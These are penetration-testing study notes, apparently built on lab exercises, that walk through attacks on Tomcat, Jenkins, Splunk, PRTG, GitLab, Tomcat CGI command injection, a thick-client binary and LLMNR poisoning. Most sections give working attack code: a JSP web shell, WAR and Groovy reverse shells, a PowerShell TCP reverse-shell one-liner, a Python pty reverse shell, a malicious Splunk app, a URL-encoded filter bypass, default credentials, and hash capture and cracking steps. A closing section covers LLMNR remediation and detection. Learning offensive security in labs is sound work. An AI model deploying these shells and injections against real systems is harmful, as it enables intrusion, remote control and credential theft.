        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>
```

```shell-session
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
```

```shell-session
zip -r backup.war cmd.jsp 
```

* Click on `Browse` to select the .war file and then click on `Deploy`.

<figure><img src="/files/2YC13KhjTMzKvRjv4ior" alt=""><figcaption></figcaption></figure>

* This file is uploaded to the manager GUI, after which the `/backup` application will be added to the table.&#x20;

<figure><img src="/files/zWUq41WqpF3moDb2DKgv" alt=""><figcaption></figcaption></figure>

* &#x20;Browsing to `http://web01.inlanefreight.local:8180/backup/cmd.jsp`
  * &#x20;will present us with a web shell that we can use to run commands on the Tomcat server

```shell-session
curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id
```

**Using Metasploit**

* We could also use `msfvenom` to generate a malicious WAR file.
* The payload [java/jsp\_shell\_reverse\_tcp](https://github.com/iagox86/metasploit-framework-webexec/blob/master/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb) will execute a reverse shell through a JSP file.
* Browse to the Tomcat console and deploy this file.
* Tomcat automatically extracts the WAR file contents and deploys it.

```shell-session
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war
```

* Start a Netcat listener and click on `/backup` to execute the shell.

```shell-session
nc -lnvp 4443
```

* The [multi/http/tomcat\_mgr\_upload](https://www.rapid7.com/db/modules/exploit/multi/http/tomcat_mgr_upload/) Metasploit module can be used to automate the process shown above

#### cmd.jsp

* [This](https://github.com/SecurityRiskAdvisors/cmd.jsp) JSP web shell is very lightweight (under 1kb) and utilizes a [Bookmarklet](https://www.freecodecamp.org/news/what-are-bookmarklets/) or browser bookmark to execute the JavaScript needed for the functionality of the web shell and user interface
* Without it, browsing to an uploaded `cmd.jsp` would render nothing.
* This is an excellent option to minimize our footprint and possibly evade detections for standard JSP web shells (though the JSP code may need to be modified a bit).

<br>


# Jenkins Attacks

* Jenkins runs on Tomcat port 8080 by default.
  * It also utilizes port 5000 to attach slave servers.
    * This port is used to communicate between masters and slaves
* Jenkins can use a local database, LDAP, Unix user database, delegate security to a servlet container, or use no authentication at all
  * Administrators can also allow or disallow users from creating accounts.
  * default credentials
    * `admin:admin`

### Script Console

* The script console can be reached at the URL `http://jenkins.inlanefreight.local:8000/script`
  * This console allows a user to run Apache [Groovy](https://en.wikipedia.org/wiki/Apache_Groovy) scripts, which are an object-oriented Java-compatible language
  * For example, we can use the following snippet to run the `id` command.

```groovy
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
```

```
http://jenkins.inlanefreight.local:8000/script
```

* There are various ways that access to the script console can be leveraged to gain a reverse shell.
  * For example, using the command below, or [this](https://web.archive.org/web/20230326230234/https://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console/) Metasploit module.

```groovy
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

```shell-session
nc -lvnp 8443
```

* Against a Windows host, we could attempt to add a user and connect to the host via RDP or WinRM or, to avoid making a change to the system, use a PowerShell download cradle with [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1).
* We could run commands on a Windows-based Jenkins install using this snippet:

```groovy
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}")
```

* We could also use [this](https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy) Java reverse shell to gain command execution on a Windows host, swapping out `localhost` and the port for our IP address and listener port.

```groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(h
```


# Splunk Attacks

* \
  Splunk web server runs by default on port 8000
  * works on https
* On older versions of Splunk, the default credentials are `admin:changeme`
  * If the default credentials do not work, it is worth checking for common weak passwords such as `admin`, `Welcome`, `Welcome1`, `Password123`, etc.

### Enumeration

* The Splunk Enterprise trial converts to a free version after 60 days, which doesn’t require authentication - It is not uncommon for system administrators to install a trial of Splunk to test it out, which is subsequently forgotten about. - This will automatically convert to the free version that does not have any form of authentication, introducing a security hole in the environment - Some organizations may opt for the free version due to budget constraints, not fully understanding the implications of having no user/role management.&#x20;

<figure><img src="/files/hdPPrLM3DXZYc74eEdNa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eoYOtv3L2j0XTDORgoGp" alt=""><figcaption></figcaption></figure>

* Splunk has multiple ways of running code, such as
  * server-side Django applications
  * REST endpoints
  * scripted inputs
  * alerting scripts
* A common method of gaining remote code execution on a Splunk server is through the use of a scripted input

### Attacking Splunk

* We can use [this](https://github.com/0xjpuff/reverse_shell_splunk) Splunk package to assist us.
  * The `bin` directory in this repo has examples for [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) and [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1)
* The `bin` directory will contain any scripts that we intend to run (in this case, a PowerShell reverse shell), and the default directory will have our `inputs.conf` file
* &#x20;Our reverse shell will be a PowerShell one-liner.

```powershell-session
#A simple and small reverse shell. Options and help removed to save space. 
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

* The [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) file tells Splunk which script to run and any other conditions.
  * Here we set the app as enabled and tell Splunk to run the script every 10 seconds.
  * The interval is always in seconds, and the input (script) will only run if this setting is present.

```shell-session
cat inputs.conf 
```

```shell-session
[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```

* We need the .bat file, which will run when the application is deployed and execute the PowerShell one-liner.

```shell-session
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit
```

* Once the files are created, we can create a tarball or `.spl` file.

```shell-session
tar -cvzf updater.tar.gz splunk_shell/
```

* The next step is to choose `Install app from file` and upload the application.

```
https://10.129.201.50:8000/en-US/manager/search/apps/local
```

<figure><img src="/files/8yPCkb43HMYUZ13hOPbx" alt=""><figcaption></figcaption></figure>

* Before uploading the malicious custom app, let's start a listener using Netcat or [socat](https://linux.die.net/man/1/socat).

```shell-session
 sudo nc -lnvp 443
```

* On the `Upload app` page, click on browse, choose the tarball we created earlier and click `Upload`.

```
https://10.129.201.50:8000/en-US/manager/appinstall/_upload?breadcrumbs=Settings%7C%2Fmanager%2Fsearch%2F%09Apps%7C%2Fmanager%2Fsearch%2Fapps%2Flocal
```

<figure><img src="/files/r5vqBZUUdwuPQmw5dQw3" alt=""><figcaption></figcaption></figure>

* As soon as we upload the application, a reverse shell is received as the status of the application will automatically be switched to `Enabled`.
* If we were dealing with a **Linux host**, we would need to edit the `rev.py` Python script before creating the tarball and uploading the custom malicious app

```python
import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```


# PRTG Network Monitor Attacks

* [PRTG Network Monitor](https://www.paessler.com/prtg) is agentless network monitor software

### Default Credentials

```
prtgadmin:prtgadmin
```

### Nessus PRTG Network Monitor Detection

* <https://www.tenable.com/plugins/nessus/51874>

### Discovery/Footprinting/Enumeration

```shell-session
sudo nmap -sV -p- --open -T4 10.129.201.50
```

```shell-session
8080/tcp  open  http          Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
```

* PRTG also shows up in the EyeWitness scan we performed earlier. - EyeWitness lists the [default credentials](app://obsidian.md/Default%20Passwords) `prtgadmin:prtgadmin`

<figure><img src="/files/mqglFQa8fcq3D8bJpFr7" alt=""><figcaption></figcaption></figure>

#### Version

```shell-session
curl -s http://10.129.201.50:8080/index.htm -A "Mozilla/5.0 (compatible;  MSIE 7.01; Windows NT 5.0)" | grep version
```

* better version below

```
curl -s http://10.129.201.50:8080/index.htm -A "Mozilla/5.0 (compatible;  MSIE 7.01; Windows NT 5.0)" | grep prtgversion
```

**Ressult**

```shell-session
  <link rel="stylesheet" type="text/css" href="/css/prtgmini.css?prtgversion=17.3.33.2830__" media="print,screen,projection" />
<div><h3><a target="_blank" href="https://blog.paessler.com/new-prtg-release-21.3.70-with-new-azure-hpe-and-redfish-sensors">New PRTG release 21.3.70 with new Azure, HPE, and Redfish sensors</a></h3><p>Just a short while ago, I introduced you to PRTG Release 21.3.69, with a load of new sensors, and now the next version is ready for installation. And this version also comes with brand new stuff!</p></div>
    <span class="prtgversion">&nbsp;PRTG Network Monitor 17.3.33.2830 </span>
```

## Reference

* <https://codewatch.org/2018/06/25/prtg-18-2-39-command-injection-vulnerability/>


# Gitlab Attacks

* It is open-source and originally written in Ruby, but the current technology stack includes Go, Ruby on Rails, and Vue.js
* a GitLab instance can be set up to allow anyone to register and then log in.

<figure><img src="/files/7CCkX2SXr4RPO0jtStww" alt=""><figcaption></figcaption></figure>

### Foot printing & Discovery

* The only way to footprint the GitLab version number in use is by browsing to the `/help` page when logged in.
  * &#x20;If the GitLab instance allows us to register an account, we can log in and browse to this page to confirm the version.

### Enumeration

* The first thing we should try is browsing to `/explore` and see if there are any public projects that may contain something interesting.
* &#x20;If we try to register with an email that has already been taken, we will get the error&#x20;
  * `1 error prohibited this user from being saved: Email has already been taken`.
  * As of the time of writing, this username enumeration technique works with the latest version of GitLab.
  * Even if the `Sign-up enabled` checkbox is cleared within the settings page under `Sign-up restrictions`,
    * we can still browse to the `/users/sign_up` page and enumerate users but will not be able to register a user.

### Attacking GitLab

#### Username enumerations

* failtoban exist only works for 13.10.3

```shell-session
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
```


# Tomcat CGI Attacks

* The `enableCmdLineArguments` setting for Apache Tomcat's CGI Servlet controls whether command line arguments are created from the query string
  * &#x20;If set to true,
    * the CGI Servlet parses the query string and passes it to the CGI script as arguments.
* The CGI script can use command line arguments to switch between these actions. For instance, the script can be called with the following URL:

```http
http://example.com/cgi-bin/booksearch.cgi?action=title&query=the+great+gatsby
```

* Here, the `action` parameter is set to `title`, indicating that the script should search by book title. The `query` parameter specifies the search term "the great gatsby."
* If the user wants to search by author, they can use a similar URL:

```http
http://example.com/cgi-bin/booksearch.cgi?action=author&query=fitzgerald
```

* However, a problem arises when `enableCmdLineArguments` is enabled on Windows systems because the CGI Servlet fails to properly validate the input from the web browser before passing it to the CGI script.
  * **This can lead to an operating system command injection attack, which allows an attacker to execute arbitrary commands on the target system by injecting them into another command.**
  * For instance, an attacker can append `dir` to a valid command using `&` as a separator to execute `dir` on a Windows system
  * If the attacker controls the input to a CGI script that uses this command, they can inject their own commands after `&` to execute any command on the server.
  * An example of this is `http://example.com/cgi-bin/hello.bat?&dir`, which passes `&dir` as an argument to `hello.bat` and executes `dir` on the server.
    * As a result, an attacker can exploit the input validation error of the CGI Servlet to run any command on the server.

### Enumeration

* Scan the target using `nmap`, this will help to pinpoint active services currently operating on the system.
* This process will provide valuable insights into the target, discovering what services, and potentially which specific versions are running, allowing for a better understanding of its infrastructure and potential vulnerabilities.

```shell-session
nmap -p- -sC -Pn 10.129.204.227 --open 
```

```shell-session
8080/tcp  open  http-proxy
|_http-title: Apache Tomcat/9.0.17
|_http-favicon: Apache Tomcat
```

**Finding a CGI script**

* One way to uncover web server content is by utilising the `ffuf` web enumeration tool along with the `dirb common.txt` wordlist.
* Knowing that the default directory for CGI scripts is `/cgi`, either through prior knowledge or by researching the vulnerability, we can use the URL `http://10.129.204.227:8080/cgi/FUZZ.cmd` or `http://10.129.204.227:8080/cgi/FUZZ.bat` to perform fuzzing.

**Fuzzing Extentions - .CMD**

* ### Fuzzing Extentions - .CMD

  ```shell-session
  ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.cmd
  ```

**Fuzzing Extentions - .BAT**

* ### Fuzzing Extentions - .BAT

  ```shell-session
  ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
  ```

### Exploitation

* &#x20;we can exploit `CVE-2019-0232` by appending our own commands through the use of the batch command separator `&`.
* We now have a valid CGI script path discovered during the enumeration at `http://10.129.204.227:8080/cgi/welcome.bat`

```http
http://10.129.204.227:8080/cgi/welcome.bat?&dir
```

* Navigating to the above URL returns the output for the `dir` batch command, however trying to run other common windows command line apps, such as `whoami` doesn't return an output.
* Retrieve a list of environmental variables by calling the `set` command

```http
http://10.129.204.227:8080/cgi/welcome.bat?&set
```

```http
Welcome to CGI, this section is not functional yet. Please return to home page.
AUTH_TYPE=
COMSPEC=C:\Windows\system32\cmd.exe
CONTENT_LENGTH=
CONTENT_TYPE=
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_HOST=10.129.204.227:8080
HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
PATH_INFO=
PROMPT=$P$G
QUERY_STRING=&set
REMOTE_ADDR=10.10.14.58
REMOTE_HOST=10.10.14.58
REMOTE_IDENT=
REMOTE_USER=
REQUEST_METHOD=GET
REQUEST_URI=/cgi/welcome.bat
SCRIPT_FILENAME=C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi\welcome.bat
SCRIPT_NAME=/cgi/welcome.bat
SERVER_NAME=10.129.204.227
SERVER_PORT=8080
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=TOMCAT
SystemRoot=C:\Windows
X_TOMCAT_SCRIPT_PATH=C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi\welcome.bat
```

* From the list, we can see that the `PATH` variable has been unset, so we will need to hardcode paths in requests:

```http
http://10.129.204.227:8080/cgi/welcome.bat?&c:\windows\system32\whoami.exe
```

* The attempt was unsuccessful, and Tomcat responded with an error message indicating that an invalid character had been encountered.
* Apache Tomcat introduced a patch that utilises a regular expression to prevent the use of special characters.
* However, the filter can be bypassed by URL-encoding the payload.

```http
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
```


# Attacking Thick Client Applications

### Introduction

* Thick client applications are the applications that are installed locally on our computers
* &#x20;Unlike thin client applications that run on a remote server and can be accessed through the web browser, these applications do not require internet access to run, and they perform better in processing power, memory, and storage capacity
* &#x20;Thick client applications are usually applications used in enterprise environments created to serve specific purposes
* Such applications include project management systems, customer relationship management systems, inventory management tools, and other productivity software.
* These applications are usually developed using Java, C++, .NET, or Microsoft Silverlight.
* Thick client applications can be categorized into two-tier and three-tier architecture

<figure><img src="/files/p15Mx41SMQjdVfgt2zYi" alt=""><figcaption></figcaption></figure>

### Information Gathering

* penetration testers have to identify the application architecture, the programming languages and frameworks that have been used, and understand how the application and the infrastructure work
* The following tools will help us gather information.
  * CFF Explorer
  * Detect It Easy
  * Process Monitor
  * Strings

### Client Side attacks

&#x20;\- we can reverse-engineer and examine .NET and Java applications including EXE, DLL, JAR, CLASS, WAR, and other file formats.  - Dynamic analysis should also be performed in this step, as thick client applications store sensitive information in the memory as well.  - [Ghidra](https://www.ghidra-sre.org/)  - [IDA](https://hex-rays.com/ida-pro/)  - [OllyDbg](http://www.ollydbg.de/)  - [Radare2](https://www.radare.org/r/index.html)  - [dnSpy](https://github.com/dnSpy/dnSpy)  - [x64dbg](https://x64dbg.com/)  - [JADX](https://github.com/skylot/jadx)  - [Frida](https://frida.re/)

### Network Side Attacks

* Wireshark
* tcpdump
* TCPView
* Burp Suite

### Server Side Attacks

* Server-side attacks in thick client applications are similar to web application attacks, and penetration testers should pay attention to the most common ones including most of the OWASP Top Ten.

### Retrieving hardcoded Credentials from Thick-Client Applications

* Scenario is you have a exe file
* Using  `ProcMon64` from [SysInternals](https://learn.microsoft.com/en-gb/sysinternals/downloads/procmon) and monitoring the process reveals that the executable indeed creates a temp file in `C:\Users\Matt\AppData\Local\Temp`.

<figure><img src="/files/h4SVGLIzLBBNHdkPQ2l8" alt=""><figcaption></figcaption></figure>

* In order to capture the files, it is required to change the permissions of the `Temp` folder to disallow file deletions.
* To do this,
  * we right-click the folder&#x20;

    * `C:\Users\Matt\AppData\Local\Temp`&#x20;
    * and under `Properties` -> `Security` -> `Advanced` -> `cybervaca` -> `Disable inheritance` -> `Convert inherited permissions into explicit permissions on this object` -> `Edit` -> `Show advanced permissions`,
    * we deselect the `Delete subfolders and files`, and `Delete` checkboxes.
    *

    ```
    <figure><img src="/files/BktdW3hiNBQd53J4IgkX" alt=""><figcaption></figcaption></figure>
    ```

    * Finally, we click `OK` -> `Apply` -> `OK` -> `OK` on the open windows.&#x20;
    * Once the folder permissions have been applied we simply run again the `Restart-OracleService.exe` and check the `temp` folder.&#x20;
    * The file `6F39.bat` is created under the `C:\Users\cybervaca\AppData\Local\Temp\2`.&#x20;
    * The names of the generated files are random every time the service is running.
*

````
```cmd-session
````

````
dir C:\Users\cybervaca\AppData\Local\Temp\2
```

```cmd-session
...SNIP...
04/03/2023  02:09 PM         1,730,212 6F39.bat
04/03/2023  02:09 PM                 0 6F39.tmp
```

* Listing the content of the `6F39` batch file reveals the following.

```batch
@shift /0
@echo off

if %username% == matt goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error

:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe
```

* Inspecting the content of the file reveals that two files are being dropped by the batch file and being deleted before anyone can get access to the leftovers.
* We can try to retrieve the content of the 2 files, by modifying the batch script and removing the deletion.

```batch
@shift /0
@echo off

echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
```

* After executing the batch script by double-clicking on it, we wait a few minutes to spot the `oracle.txt` file which contains another file full of base64 lines, and the script `monta.ps1` which contains the following content, under the directory `c:\programdata\`.
* Listing the content of the file `monta.ps1` reveals the following code

```powershell-session
cat C:\programdata\monta.ps1
```

```powershell-session
$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))
```

* This script simply reads the contents of the `oracle.txt` file and decodes it to the `restart-service.exe` executable.
* Running this script gives us a final executable that we can further analyze.

```powershell-session
 ls C:\programdata\
```

```powershell-session

Mode                LastWriteTime         Length Name
<SNIP>
-a----        3/24/2023   1:01 PM            273 monta.ps1
-a----        3/24/2023   1:01 PM         601066 oracle.txt
-a----        3/24/2023   1:17 PM         432273 restart-service.exe
```

* Now when executing `restart-service.exe` we are presented with the banner `Restart Oracle` created by `HelpDesk` back in 2010.
* Inspecting the execution of the executable through `ProcMon64` shows that it is querying multiple things in the registry and does not show anything solid to go by.
*

    <figure><img src="/files/DPm4tygE82EeJ5S0tl5s" alt=""><figcaption></figcaption></figure>


* start `x64dbg`, navigate to `Options` -> `Preferences`, and uncheck everything except `Exit Breakpoint`:
*

    <figure><img src="/files/8am3qEYhtDMKOAXcB4sG" alt=""><figcaption></figcaption></figure>


* By unchecking the other options, the debugging will start directly from the application's exit point, and we will avoid going through any `dll` files that are loaded before the app starts.
  * Then, we can select `file` -> `open` and select the `restart-service.exe` to import it and start the debugging.
  * Once imported, we right click inside the `CPU` view and `Follow in Memory Map`:
  *

      <figure><img src="/files/4xg3xR8VSCUuIwGbHVEs" alt=""><figcaption></figcaption></figure>


  * Checking the memory maps at this stage of the execution, of particular interest is the map with a size of `0000000000003000` with a type of `MAP` and protection set to `-RW--`.
  *

      <figure><img src="/files/N2tBrSw7shfaLUM8vUKN" alt=""><figcaption></figcaption></figure>


  * Memory-mapped files allow applications to access large files without having to read or write the entire file into memory at once. Instead, the file is mapped to a region of memory that the application can read and write as if it were a regular buffer in memory.
    * This could be a place to potentially look for hardcoded credentials.
    * If we double-click on it, we will see the magic bytes `MZ` in the `ASCII` column that indicates that the file is a [DOS MZ executable](https://en.wikipedia.org/wiki/DOS_MZ_executable).
    *

        <figure><img src="/files/d6mfPiv9jp0kNRSb7e3C" alt=""><figcaption></figcaption></figure>


    * return to the Memory Map pane, then export the newly discovered mapped item from memory to a dump file by right-clicking on the address and selecting `Dump Memory to File`.
      * Running `strings` on the exported file reveals some interesting information.
````

```powershell-session
C:\TOOLS\Strings\strings64.exe .\restart-service_00000000001E0000.bin
```

```powershell-session

<SNIP>
"#M
z\V
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName
.NET Framework 4 Client Profile
<SNIP>
```

* Reading the output reveals that the dump contains a `.NET` executable.
* We can use `De4Dot` to reverse `.NET` executables back to the source code by dragging the `restart-service_00000000001E0000.bin` onto the `de4dot` executable.

.

```cmd-session
de4dot v3.1.41592.3405

Detected Unknown Obfuscator (C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin)
Cleaning C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin
Renaming all obfuscated symbols
Saving C:\Users\cybervaca\Desktop\restart-service_00000000001E0000-cleaned.bin


Press any key to exit...
```

* &#x20;we can read the source code of the exported application by dragging and dropping it onto the `DnSpy` executable.

<figure><img src="/files/F2JNT34nayd2YxqAEX21" alt=""><figcaption></figcaption></figure>


# LLMNR Poisoning

### Quick Example - LLMNR/NBT-NS Poisoning

Let's walk through a quick example of the attack flow at a very high level:

1. A host attempts to connect to the print server at \print01.inlanefreight.local, but accidentally types in \printer01.inlanefreight.local.
2. The DNS server responds, stating that this host is unknown.
3. The host then broadcasts out to the entire local network asking if anyone knows the location of \printer01.inlanefreight.local.
4. The attacker (us with `Responder` running) responds to the host stating that it is the \printer01.inlanefreight.local that the host is looking for.
5. The host believes this reply and sends an authentication request to the attacker with a username and NTLMv2 password hash.
6. This hash can then be cracked offline or used in an SMB Relay attack if the right conditions exist.

* what is it
*

```
<figure><img src="/files/nq5DYcgr10MpLmEs6BSy" alt=""><figcaption></figcaption></figure>
```

````
* how it works
*

    <figure><img src="/files/6P3R3XfPyaj4F1Oiv798" alt=""><figcaption></figcaption></figure>

    <figure><img src="/files/vvEuvwjbjxGueJrdWkAB" alt=""><figcaption></figcaption></figure>


*   assumption made that a person will put a wrong Ip or domain of a smb while connecting

    * using responder to capture hashes

    ```
    sudo responder -I eth0 -dwv 
    ```
````

<figure><img src="/files/OUz4dMG7CLYzWN9nRXDS" alt=""><figcaption></figcaption></figure>

* crack with [Hashcat](/cybersecurity/hashcat)
* Several tools can be used to attempt LLMNR & NBT-NS poisoning:

| **Tool**                                              | **Description**                                                                                     |
| ----------------------------------------------------- | --------------------------------------------------------------------------------------------------- |
| [Responder](https://github.com/lgandx/Responder)      | Responder is a purpose-built tool to poison LLMNR, NBT-NS, and MDNS, with many different functions. |
| [Inveigh](https://github.com/Kevin-Robertson/Inveigh) | Inveigh is a cross-platform MITM platform that can be used for spoofing and poisoning attacks.      |
| [Metasploit](https://www.metasploit.com/)             | Metasploit has several built-in scanners and spoofing modules made to deal with poisoning attacks.  |

* &#x20;Inveigh is written in both C# and PowerShell (considered legacy).

### LLMNR/NBT-NS Poisoning - from Linux

* Some common options we'll typically want to use are `-wf`;
  * this will start the WPAD rogue proxy servers
  * &#x20;`-f` will attempt to fingerprint the remote host operating system and version
* We can use the `-v` flag for increased verbosity if we are running into issues
* Other options such as `-F` and `-P` can be used to force NTLM or Basic authentication and force proxy authentication
  * but may cause a login prompt, so they should be used sparingly
* If you are successful and manage to capture a hash, Responder will print it out on screen and write it to a log file per host located in the `/usr/share/responder/logs` directory
* after you get the hash crack with [hashcat](app://obsidian.md/hashcat)

```shell-session
 hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt 
```

### LLMNR/NBT-NS Poisoning - from Windows

* [Inveigh](/cybersecurity/inveigh)
* Let's start Inveigh with LLMNR and NBNS spoofing, and output to the console and write to a file.

```powershell-session
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
```

```
cat Inveigh-NTLMv2.txt |clip
```

* copy hashes to [Hashcat](app://obsidian.md/Hashcat)and break

```
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt 
```

### C# Inveigh (InveighZero)

* [InveighZero](/cybersecurity/inveighzero)

### Remediation

* &#x20;To ensure that these spoofing attacks are not possible, we can disable LLMNR and NBT-NS
* We can disable LLMNR in Group Policy by going to Computer Configuration --> Administrative Templates --> Network --> DNS Client and enabling "Turn OFF Multicast Name Resolution."

<figure><img src="/files/0Nn1N74Gdof0AGGJTgyS" alt=""><figcaption></figcaption></figure>

* NBT-NS cannot be disabled via Group Policy but must be disabled locally on each host
  * We can do this by opening `Network and Sharing Center` under `Control Panel`,
    * clicking on `Change adapter settings`,
    * right-clicking on the adapter to view its properties,
    * selecting `Internet Protocol Version 4 (TCP/IPv4)`,
      * and clicking the `Properties` button,
      * then clicking on `Advanced`&#x20;
      * selecting the `WINS` tab
      * finally selecting `Disable NetBIOS over TCP/IP`.

<figure><img src="/files/o0SXtUFkR6ECap9FUbGd" alt=""><figcaption></figcaption></figure>

* While it is not possible to disable NBT-NS directly via GPO, we can create a PowerShell script under Computer Configuration --> Windows Settings --> Script (Startup/Shutdown) --> Startup with something like the following:

```powershell
$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey |foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}
```

* In the Local Group Policy Editor,
  * we will need to double click on `Startup`,
  * choose the `PowerShell Scripts` tab,
  * select "For this GPO, run scripts in the following order" to `Run Windows PowerShell scripts first`,
  * then click on `Add` and choose the script.
  * For these changes to occur, we would have to either reboot the target system or restart the network adapter.

<figure><img src="/files/CSkCJj3Pev9ZNCF8KQ2J" alt=""><figcaption></figcaption></figure>

* To push this out to all hosts in a domain, we could create a GPO using `Group Policy Management` on the Domain Controller and host the script on the SYSVOL share in the scripts folder and then call it via its UNC path such as:

`\\inlanefreight.local\SYSVOL\INLANEFREIGHT.LOCAL\scripts`

* Once the GPO is applied to specific OUs and those hosts are restarted,
  * the script will run at the next reboot and disable NBT-NS, provided that the script still exists on the SYSVOL share and is accessible by the host over the network.

<figure><img src="/files/sBO9I6BZBSmBC8ZJHbAS" alt=""><figcaption></figcaption></figure>

* Other mitigations include filtering network traffic to block LLMNR/NetBIOS traffic and enabling SMB Signing to prevent NTLM relay attacks.
* Network intrusion detection and prevention systems can also be used to mitigate this activity, while network segmentation can be used to isolate hosts that require LLMNR or NetBIOS enabled to operate correctly.

### Detection

* One way is to use the attack against the attackers by injecting LLMNR and NBT-NS requests for non-existent hosts across different subnets and alerting if any of the responses receive answers which would be indicative of an attacker spoofing name resolution responses.
  * This [blog post](https://www.praetorian.com/blog/a-simple-and-effective-way-to-detect-broadcast-name-resolution-poisoning-bnrp/) explains this method more in-depth.
